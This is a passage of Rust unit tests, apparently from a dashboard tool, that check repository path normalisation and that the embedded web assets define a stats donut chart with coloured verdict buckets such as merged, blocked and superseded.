17220        std::fs::create_dir_all(&explicit).expect("create dir");
17221        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
17222
17223        let missing = dir.path().join("does-not-exist-at-all");
17224        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
17225    }
17226
17227    #[test]
17228    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
17229        assert!(APP_JS.contains("function statsDonutArcs"));
17230        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
17231        // A bucket click filters by the statuses src/stats.rs counts in it.
17232        assert!(APP_JS.contains("function statusInBucket"));
17233        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
17234        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
17235        let buckets = [
17236            "merged",
17237            "ready",
17238            "in_progress",
17239            "blocked",
17240            "failed",
17241            "verified_noop",
17242            "superseded",
17243            "stalled",
17244        ];
17245        for key in buckets {
17246            let var = format!("--verdict-{key}:");
17247            // Light, OS-dark and pinned-dark blocks each define it.
17248            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
17249            assert!(
17250                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
17251                "{key}"
17252            );
17253        }
17254    }
17255}